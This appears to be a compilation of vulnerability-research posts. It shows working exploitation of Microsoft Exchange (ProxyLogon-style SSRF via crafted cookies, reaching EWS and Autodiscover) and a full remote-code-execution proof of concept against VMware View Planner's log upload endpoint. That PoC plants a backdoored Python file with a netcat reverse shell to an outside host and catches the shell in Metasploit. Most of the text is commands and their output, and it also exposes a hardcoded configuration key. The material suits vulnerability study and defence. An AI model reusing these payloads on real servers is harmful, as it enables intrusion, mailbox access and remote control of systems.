http://aka.ms/exchangevulns NSE: Script Post-scanning. Initiating NSE at 00:50 Completed NSE at 00:50, 0.00s elapsed Read data files from: /usr/local/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds wvu@kharak:~/Downloads$
Ported to curl(1)…
wvu@kharak:~$ curl -kvb "X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;" https://192.168.123.183/owa/auth/x.js * Trying 192.168.123.183... * TCP_NODELAY set * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 * ALPN, server accepted to use h2 * Server certificate: * subject: CN=WIN-T4RO9496TA7 * start date: Mar 8 22:45:17 2021 GMT * expire date: Mar 8 22:45:17 2026 GMT * issuer: CN=WIN-T4RO9496TA7 * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x7f8cb580b400) > GET /owa/auth/x.js HTTP/2 > Host: 192.168.123.183 > User-Agent: curl/7.64.1 > Accept: */* > Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3; > * Connection state changed (MAX_CONCURRENT_STREAMS == 100)! < HTTP/2 500 < cache-control: private < content-type: text/html; charset=utf-8 < server: Microsoft-IIS/10.0 < request-id: 864475e3-ee01-48a5-acf3-1b1cbbc50c02 < x-calculatedbetarget: localhost < x-calculatedbetarget: localhost < x-feserver: WIN-T4RO9496TA7 < x-aspnet-version: 4.0.30319 < x-powered-by: ASP.NET < date: Tue, 09 Mar 2021 06:52:07 GMT < content-length: 85 < * Connection #0 to host 192.168.123.183 left intact NegotiateSecurityContext failed with for host 'localhost' with status 'TargetUnknown'* Closing connection 0 wvu@kharak:~$
SSRF to an arbitrary remote host
You can specify an arbitrary host in X-AnonResource-Backend.
wvu@kharak:~$ curl -kvb "X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~$RANDOM" "https://192.168.123.183/owa/auth/$RANDOM.js" * Trying 192.168.123.183... * TCP_NODELAY set * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 * ALPN, server accepted to use h2 * Server certificate: * subject: CN=WIN-T4RO9496TA7 * start date: Mar 8 22:45:17 2021 GMT * expire date: Mar 8 22:45:17 2026 GMT * issuer: CN=WIN-T4RO9496TA7 * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x7f9ea080d600) > GET /owa/auth/22702.js HTTP/2 > Host: 192.168.123.183 > User-Agent: curl/7.64.1 > Accept: */* > Cookie: X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~4563 > * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!
Catching the request in ncat(1)…
wvu@kharak:~$ ncat -lkv --ssl 443 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: F55B E690 D8F2 84F1 EC64 816A 5763 2F5B B56F 0D72 Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 192.168.123.183. Ncat: Connection from 192.168.123.183:6303. GET /owa/auth/22702.js HTTP/1.1 X-FE-ClientIP: 192.168.123.1 X-Forwarded-For: 192.168.123.1 X-Forwarded-Port: 55723 X-MS-EdgeIP: X-ExCompId: ClientAccessFrontEnd Accept: */* User-Agent: curl/7.64.1 X-OriginalRequestHost: 192.168.123.183 X-OriginalRequestHostSchemePort: 443:https:192.168.123.183 X-MSExchangeActivityCtx: V=1.0.0.0;Id=26678ebf-2d0f-42bd-bac3-2d27889baed8;C=;P= msExchProxyUri: https://192.168.123.183/owa/auth/22702.js X-IsFromCafe: 1 X-SourceCafeServer: WIN-T4RO9496TA7.GIBSON.LOCAL X-CommonAccessToken: VgEAVAlBbm9ueW1vdXNDAEUAAAAA X-vDirObjectId: 621dccd3-6dff-49aa-87be-7911a110125e Host: 192.168.123.1 Cookie: X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~4563 Connection: Keep-Alive
The fun folks working on the Nuclei scanner noticed burpcollaborator.net made a good target for their scanner.
wvu@kharak:~$ curl -kvb "X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net~$RANDOM" "https://192.168.123.183/owa/auth/$RANDOM.js" * Trying 192.168.123.183... * TCP_NODELAY set * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256 * ALPN, server accepted to use h2 * Server certificate: * subject: CN=WIN-T4RO9496TA7 * start date: Mar 8 22:45:17 2021 GMT * expire date: Mar 8 22:45:17 2026 GMT * issuer: CN=WIN-T4RO9496TA7 * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x7fd58480f600) > GET /owa/auth/18409.js HTTP/2 > Host: 192.168.123.183 > User-Agent: curl/7.64.1 > Accept: */* > Cookie: X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net~31368 > * Connection state changed (MAX_CONCURRENT_STREAMS == 100)! < HTTP/2 200 < cache-control: private < content-type: text/html < server: Microsoft-IIS/10.0 < request-id: 31688df5-982d-4d18-86d1-ae0e99c00ce8 < x-calculatedbetarget: burpcollaborator.net < x-collaborator-version: 4 < x-aspnet-version: 4.0.30319 < x-powered-by: ASP.NET < date: Tue, 09 Mar 2021 07:58:52 GMT < content-length: 1190 < <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> </head> <body> <h1>Burp Collaborator Server</h1> <p>Burp Collaborator is a service that is used by <a href="https://portswigger.net/burp/">Burp Suite</a> when testing web applications for security vulnerabilities. Some of Burp Suite's tests may cause the application being tested to interact with the Burp Collaborator server, to enable Burp Suite to detect various security vulnerabilities. </p><p>The Burp Collaborator server does not itself initiate any interactions with any system, and only responds to interactions that it receives from other systems. </p><p>If you are a systems administrator and you are seeing interactions with the Burp Collaborator server in your logs, then it is likely that someone is testing your web application using Burp Suite. If you are trying to identify the person responsible for this testing, you should review your web server or applications logs for the time at which these interactions were initiated by your systems. </p><p>For further details about Burp Collaborator, please see the <a href="https://portswigger.net/burp/documentation/collaborator/">full documentation</a>.</p></body> * Connection #0 to host 192.168.123.183 left intact </html>* Closing connection 0 wvu@kharak:~$
SSRF to a privileged backend resource
Hostname WIN-T4RO9496TA7 is from the x-feserver header.
wvu@kharak:~$ curl -kvb "X-BEResource=WIN-T4RO9496TA7/EWS/Exchange.asmx?~$RANDOM" "https://192.168.123.183/ecp/$RANDOM.js"
* Trying 192.168.123.183...
* TCP_NODELAY set
* Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/cert.pem
CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=WIN-T4RO9496TA7
* start date: Mar 8 22:45:17 2021 GMT
* expire date: Mar 8 22:45:17 2026 GMT
* issuer: CN=WIN-T4RO9496TA7
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x7faac2808200)
> GET /ecp/1849.js HTTP/2
> Host: 192.168.123.183
> User-Agent: curl/7.64.1
> Accept: */*
> Cookie: X-BEResource=WIN-T4RO9496TA7/EWS/Exchange.asmx?~22406
>
* Connection state changed (MAX_CONCURRENT_STREAMS == 100)!
< HTTP/2 200
< cache-control: private
< content-type: text/html; charset=UTF-8
< server: Microsoft-IIS/10.0
< request-id: b4762a11-d418-43f8-a435-f04420289a4c
< x-calculatedbetarget: win-t4ro9496ta7
< x-calculatedbetarget: win-t4ro9496ta7.gibson.local
< x-diaginfo: WIN-T4RO9496TA7
< x-beserver: WIN-T4RO9496TA7
< x-feserver: WIN-T4RO9496TA7
< x-aspnet-version: 4.0.30319
< set-cookie: exchangecookie=ef4d50599057429b849b92e9059455af; expires=Wed, 09-Mar-2022 07:00:11 GMT; path=/; HttpOnly
< set-cookie: X-BackEndCookie=S-1-5-18=rJqNiZqNgai2sdKry62wxsvGyau+yNGYlp2MkJHRk5CcnpOBzsbLzc/JzM3MzYHNz83O0s/M0s/Gq8/Ixc7Pxc7O; expires=Tue, 09-Mar-2021 07:10:11 GMT; path=/EWS; secure; HttpOnly
< x-powered-by: ASP.NET
< x-feserver: WIN-T4RO9496TA7
< date: Tue, 09 Mar 2021 07:00:11 GMT
< content-length: 2836
<
<HTML lang="en"><HEAD><link rel="alternate" type="text/xml" href="https://win-t4ro9496ta7.gibson.local:444/EWS/Exchange.asmx?disco"/><STYLE type="text/css">#content{ FONT-SIZE: 0.7em; PADDING-BOTTOM: 2em; MARGIN-LEFT: 30px}BODY{MARGIN-TOP: 0px; MARGIN-LEFT: 0px; COLOR: #000000; FONT-FAMILY: Verdana; BACKGROUND-COLOR: white}P{MARGIN-TOP: 0px; MARGIN-BOTTOM: 12px; COLOR: #000000; FONT-FAMILY: Verdana}PRE{BORDER-RIGHT: #f0f0e0 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #f0f0e0 1px solid; MARGIN-TOP: -5px; PADDING-LEFT: 5px; FONT-SIZE: 1.2em; PADDING-BOTTOM: 5px; BORDER-LEFT: #f0f0e0 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #f0f0e0 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e5e5cc}.heading1{MARGIN-TOP: 0px; PADDING-LEFT: 15px; FONT-WEIGHT: normal; FONT-SIZE: 26px; MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 3px; MARGIN-LEFT: -30px; WIDTH: 100%; COLOR: #ffffff; PADDING-TOP: 10px; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #003366}.intro{display: block; font-size: 1em;}</STYLE><TITLE>Service</TITLE></HEAD><BODY><DIV id="content" role="main"><h1 class="heading1">Service</h1><BR/><P class="intro">You have created a service.<P class='intro'>To test this service, you will need to create a client and use it to call the service. You can do this using the svcutil.exe tool from the command line with the following syntax:</P> <BR/><PRE>svcutil.exe <A HREF="https://win-t4ro9496ta7.gibson.local:444/EWS/Services.wsdl">https://win-t4ro9496ta7.gibson.local:444/EWS/Services.wsdl</A></PRE></P><P class="intro">This will generate a configuration file and a code file that contains the client class. Add the two files to your client application and use the generated client class to call the Service. For example:<BR/></P><h2 class='intro'>C#</h2><br /><PRE><font color="blue">class </font><font color="black">Test
</font>{
<font color="blue"> static void </font>Main()
{
<font color="black">HelloClient</font> client = <font color="blue">new </font><font color="black">HelloClient</font>();
<font color="darkgreen"> // Use the 'client' variable to call operations on the service.
</font><font color="darkgreen"> // Always close the client.
</font> client.Close();
}
}
</PRE><BR/><h2 class='intro'>Visual Basic</h2><br /><PRE><font color="blue">Class </font><font color="black">Test
</font><font color="blue"> Shared Sub </font>Main()
<font color="blue"> Dim </font>client As <font color="black">HelloClient</font> = <font color="blue">New </font><font color="black">HelloClient</font>()
<font color="darkgreen"> ' Use the 'client' variable to call operations on the service.
</font><font color="darkgreen"> ' Always close the client.
</font> client.Close()
<font color="blue"> End Sub
* Connection #0 to host 192.168.123.183 left intact
</font><font color="blue">End Class</font></PRE></DIV></BODY></HTML>* Closing connection 0
wvu@kharak:~$
POSTing to the EWS endpoint (not shown) allows an attacker access to a target’s mailbox. A sample Autodiscover request is shown below.
wvu@kharak:~/Downloads$ cat poc.xml
<?xml version="1.0"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>Administrator@gibson.local</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
wvu@kharak:~/Downloads$ curl -kvb "X-BEResource=WIN-T4RO9496TA7/autodiscover/autodiscover.xml?~$RANDOM" -H "Content-Type: text/xml" "https://192.168.123.207/ecp/$RANDOM.js" -d @poc.xml
* Trying 192.168.123.207...
* TCP_NODELAY set
* Connected to 192.168.123.207 (192.168.123.207) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /etc/ssl/cert.pem
CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=WIN-T4RO9496TA7
* start date: Mar 8 22:45:17 2021 GMT
* expire date: Mar 8 22:45:17 2026 GMT
* issuer: CN=WIN-T4RO9496TA7
* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x7fa592808200)
> POST /ecp/3425.js HTTP/2
> Host: 192.168.123.207
> User-Agent: curl/7.64.1
> Accept: */*
> Cookie: X-BEResource=WIN-T4RO9496TA7/autodiscover/autodiscover.xml?~24753
> Content-Type: text/xml
> Content-Length: 354
>
* Connection state changed (MAX_CONCURRENT_STREAMS == 100)!
* We are completely uploaded and fine
< HTTP/2 200
< cache-control: private
< content-type: text/xml; charset=utf-8
< server: Microsoft-IIS/10.0
< request-id: bde5e90a-fe14-4b47-aaca-1a713d9832b1
< x-calculatedbetarget: win-t4ro9496ta7
< x-calculatedbetarget: win-t4ro9496ta7.gibson.local
< x-diaginfo: WIN-T4RO9496TA7
< x-beserver: WIN-T4RO9496TA7
< x-feserver: WIN-T4RO9496TA7
< x-aspnet-version: 4.0.30319
< set-cookie: X-BackEndCookie=S-1-5-18=rJqNiZqNgai2sdKry62wxsvGyau+yNGYlp2MkJHRk5CcnpOBzsbLzc/JzM3MzYHNz83O0s/M0s7Pq8/OxczJxc7G; expires=Wed, 10-Mar-2021 01:36:19 GMT; path=/autodiscover; secure; HttpOnly
< x-powered-by: ASP.NET
< x-feserver: WIN-T4RO9496TA7
< date: Wed, 10 Mar 2021 01:26:19 GMT
< content-length: 3866
<
<?xml version="1.0" encoding="utf-8"?>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
<Response xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<User>
<DisplayName>Administrator</DisplayName>
<LegacyDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=94812d66d68146e8b6ac7b3312a93d7b-Admin</LegacyDN>
<AutoDiscoverSMTPAddress>Administrator@gibson.local</AutoDiscoverSMTPAddress>
<DeploymentId>eb64d327-1a67-4c9c-b64d-38d567e95480</DeploymentId>
</User>
<Account>
<AccountType>email</AccountType>
<Action>settings</Action>
<MicrosoftOnline>False</MicrosoftOnline>
<Protocol>
<Type>EXCH</Type>
<Server>47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local</Server>
<ServerDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local</ServerDN>
<ServerVersion>73C18880</ServerVersion>
<MdbDN>/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=47f3c51d-2094-4651-b009-c4c4a86a75e4@gibson.local/cn=Microsoft Private MDB</MdbDN>
<PublicFolderServer>win-t4ro9496ta7.gibson.local</PublicFolderServer>
<AD>WIN-T4RO9496TA7.gibson.local</AD>
<ASUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</ASUrl>
<EwsUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</EwsUrl>
<EmwsUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</EmwsUrl>
<EcpUrl>https://win-t4ro9496ta7.gibson.local/owa/</EcpUrl>
<EcpUrl-um>?path=/options/callanswering</EcpUrl-um>
<EcpUrl-aggr>?path=/options/connectedaccounts</EcpUrl-aggr>
<EcpUrl-mt>options/ecp/PersonalSettings/DeliveryReport.aspx?rfr=olk&exsvurl=1&IsOWA=<IsOWA>&MsgID=<MsgID>&Mbx=<Mbx>&realm=gibson.local</EcpUrl-mt>
<EcpUrl-ret>?path=/options/retentionpolicies</EcpUrl-ret>
<EcpUrl-sms>?path=/options/textmessaging</EcpUrl-sms>
<EcpUrl-photo>?path=/options/myaccount/action/photo</EcpUrl-photo>
<EcpUrl-tm>options/ecp/?rfr=olk&ftr=TeamMailbox&exsvurl=1&realm=gibson.local</EcpUrl-tm>
<EcpUrl-tmCreating>options/ecp/?rfr=olk&ftr=TeamMailboxCreating&SPUrl=<SPUrl>&Title=<Title>&SPTMAppUrl=<SPTMAppUrl>&exsvurl=1&realm=gibson.local</EcpUrl-tmCreating>
<EcpUrl-tmEditing>options/ecp/?rfr=olk&ftr=TeamMailboxEditing&Id=<Id>&exsvurl=1&realm=gibson.local</EcpUrl-tmEditing>
<EcpUrl-extinstall>?path=/options/manageapps</EcpUrl-extinstall>
<OOFUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</OOFUrl>
<UMUrl>https://win-t4ro9496ta7.gibson.local/EWS/UM2007Legacy.asmx</UMUrl>
<ServerExclusiveConnect>off</ServerExclusiveConnect>
</Protocol>
<Protocol>
<Type>EXPR</Type>
<Server>win-t4ro9496ta7.gibson.local</Server>
<SSL>Off</SSL>
<AuthPackage>Ntlm</AuthPackage>
<ServerExclusiveConnect>on</ServerExclusiveConnect>
<CertPrincipalName>None</CertPrincipalName>
<GroupingInformation>Default-First-Site-Name</GroupingInformation>
</Protocol>
<Protocol>
<Type>WEB</Type>
<Internal>
<OWAUrl AuthenticationMethod="Basic, Fba">https://win-t4ro9496ta7.gibson.local/owa/</OWAUrl>
<Protocol>
<Type>EXCH</Type>
<ASUrl>https://win-t4ro9496ta7.gibson.local/EWS/Exchange.asmx</ASUrl>
</Protocol>
</Internal>
</Protocol>
</Account>
</Response>
* Connection #0 to host 192.168.123.207 left intact
</Autodiscover>* Closing connection 0
wvu@kharak:~/Downloads$
3
Technical Analysis
Quick patch diff below. Note the added auth and path traversal protection.
--- log_upload_wsgi.unpatched.py 2021-03-03 20:18:16.000000000 -0600 +++ log_upload_wsgi.patched.py 2021-03-03 20:18:24.000000000 -0600 @@ -1,104 +1,129 @@ #! /usr/bin/env python3 import cgi import os,sys import logging import json +import configparser +import hashlib WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip" class LogFileJson: """ Defines format to upload log file in harness Arguments: itrLogPath : log path provided by harness to store log data logFileType : Type of log file defined in api.agentlogFileType workloadID [OPTIONAL] : workload id, if log file is workload specific """ def __init__(self, itrLogPath, logFileType, workloadID = None): self.itrLogPath = itrLogPath self.logFileType = logFileType self.workloadID = workloadID def to_json(self): return json.dumps(self.__dict__) @classmethod def from_json(cls, json_str): json_dict = json.loads(json_str) return cls(**json_dict) class agentlogFileType(): """ Defines various log file types to be uploaded by agent """ WORKLOAD_ZIP_LOG = "workloadLogsZipFile" try: # TO DO: Puth path in some config logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR) except: # In case write permission is not available in log folder. pass logger = logging.getLogger('log_upload_wsgi.py') def application(environ, start_response): logger.debug("application called") + # TO DO: Puth path in some config or read from config is already available + resultBasePath = "/etc/httpd/html/vpresults" + config_path = "/etc/httpd/conf/wsgi_config/wsgi.config" + # Reading configuration + try: + config = configparser.ConfigParser() + config.read(config_path) + secret_key = config["apache"]["key"].strip() + except Exception as e: + body = u"Exception {}".format(str(e)) + start_response( + '400 fail', + [ + ('Content-type', 'text/html; charset=utf8'), + ('Content-Length', str(len(body))), + ] + ) + return [body.encode('utf8')] + if environ['REQUEST_METHOD'] == 'POST': post = cgi.FieldStorage( fp=environ['wsgi.input'], environ=environ, keep_blank_values=True ) - # TO DO: Puth path in some config or read from config is already available - resultBasePath = "/etc/httpd/html/vpresults" try: filedata = post["logfile"] metaData = post["logMetaData"] - - if metaData.value: - logFileJson = LogFileJson.from_json(metaData.value) - - if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)): - os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath)) - - if filedata.file: - if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG): - filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID))) - else: - filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType) - with open(filePath, 'wb') as output_file: - while True: - data = filedata.file.read(1024) - # End of file - if not data: - break - output_file.write(data) - - body = u" File uploaded successfully." - start_response( - '200 OK', - [ - ('Content-type', 'text/html; charset=utf8'), - ('Content-Length', str(len(body))), - ] - ) - return [body.encode('utf8')] + password = post["password"] + if hashlib.sha256(password.value.encode("utf8")).hexdigest()==secret_key: + if metaData.value: + logFileJson = LogFileJson.from_json(metaData.value) + + dir_path = os.path.normpath(os.path.join(resultBasePath, logFileJson.itrLogPath)) + if not os.path.exists(dir_path) and dir_path.startswith(resultBasePath): + os.makedirs(dir_path) + + if filedata.file: + if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG): + filePath = os.path.join(dir_path, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID))) + else: + filePath = os.path.join(dir_path, logFileJson.logFileType) + + filePath = os.path.normpath(filePath) + if filePath.startswith(resultBasePath): + with open(filePath, 'wb') as output_file: + while True: + data = filedata.file.read(1024) + # End of file + if not data: + break + output_file.write(data) + + body = u" File uploaded successfully." + start_response( + '200 OK', + [ + ('Content-type', 'text/html; charset=utf8'), + ('Content-Length', str(len(body))), + ] + ) + return [body.encode('utf8')] except Exception as e: logger.error("Exception {}".format(str(e))) body = u"Exception {}".format(str(e)) else: logger.error("Invalid request") body = u"Invalid request" + body = u"Invalid request" start_response( '400 fail', [ ('Content-type', 'text/html; charset=utf8'), ('Content-Length', str(len(body))), ] ) return [body.encode('utf8')]
I have reproduced RCE with a personal PoC. I’m not sure about the “secret key” they added, but I think it’s changed as part of the update.
wvu@kharak:~/Downloads/vp_4.6_sp1/harness$ cat wsgi.config [apache] key = vmware-viewplanner-ca$hc0w wvu@kharak:~/Downloads/vp_4.6_sp1/harness$
We’ll see once I find time to test the patched version. I can confirm that RCE is within a Docker container. I haven’t looked for LPE yet.
ETA: Someone else released their PoC, so here is mine in full:
wvu@kharak:~/Downloads$ curl -kO https://192.168.123.183/wsgi_log_upload/log_upload_wsgi.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3596 100 3596 0 0 121k 0 --:--:-- --:--:-- --:--:-- 121k
wvu@kharak:~/Downloads$ cp log_upload_wsgi.py log_upload_wsgi.py.bak
wvu@kharak:~/Downloads$ vi log_upload_wsgi.py
wvu@kharak:~/Downloads$ diff -u log_upload_wsgi.py.bak log_upload_wsgi.py
--- log_upload_wsgi.py.bak 2021-03-04 17:41:15.000000000 -0600
+++ log_upload_wsgi.py 2021-03-04 17:41:35.000000000 -0600
@@ -90,6 +90,8 @@
except Exception as e:
logger.error("Exception {}".format(str(e)))
body = u"Exception {}".format(str(e))
+ elif environ["REQUEST_METHOD"] == "HACK":
+ os.system("mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq")
else:
logger.error("Invalid request")
body = u"Invalid request"
wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F logfile=@log_upload_wsgi.py -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}'
File uploaded successfully.wvu@kharak:~/Downloads$ curl -kX HACK https://192.168.123.183/logupload
^C
wvu@kharak:~/Downloads$ curl -k https://192.168.123.183/logupload -F "logfile=@log_upload_wsgi.py.bak; filename=log_upload_wsgi.py" -F 'logMetaData={"itrLogPath":"/etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py"}'
File uploaded successfully.wvu@kharak:~/Downloads$
msf6 exploit(multi/handler) > run [+] mkfifo /tmp/hmwfq; nc 192.168.123.1 4444 0</tmp/hmwfq | /bin/sh >/tmp/hmwfq 2>&1; rm /tmp/hmwfq [*] Started reverse TCP handler on 192.168.123.1:4444 [*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.183:57562) at 2021-03-04 17:41:59 -0600 id uid=25(apache) gid=25(apache) groups=25(apache), uname -a Linux 8cfebb27995a 4.9.137-1.ph2 #1-photon SMP Tue Nov 20 14:26:55 UTC 2018 x86_64
ETA: Here’s the decompiled update script:
import sys, os, configparser, shutil, time
cwd = os.path.dirname(os.path.realpath(__file__))
sys.path.append(cwd)
import change_password
print('Starting Update')
wsgi_path_old = '/root/viewplanner/httpd/wsgi_log_upload/'
wsgi_path_new = '/root/viewplanner/log_upload_app'
wsgi_file = 'log_upload_wsgi.py'
config_path = '/root/viewplanner/apache_config/wsgi_config'
version_file = '/root/viewplanner/version.txt'
httpd_conf_path = '/root/viewplanner/apache_config/httpd.conf'
try:
print('Updating config')
if not os.path.exists(config_path):
os.makedirs(config_path)
os.system('cp ' + os.path.join(cwd, 'wsgi.config') + ' ' + config_path)
except Exception as e:
print('Updating config Failed!! {}'.format(e))
sys.exit(1)
try:
print('Updating wsgi')
if not os.path.exists(wsgi_path_new):
os.makedirs(wsgi_path_new)
shutil.copy(os.path.join(cwd, wsgi_file), wsgi_path_new)
httpd_conf = ''
with open(httpd_conf_path, 'r') as (fp):
httpd_conf = fp.read()
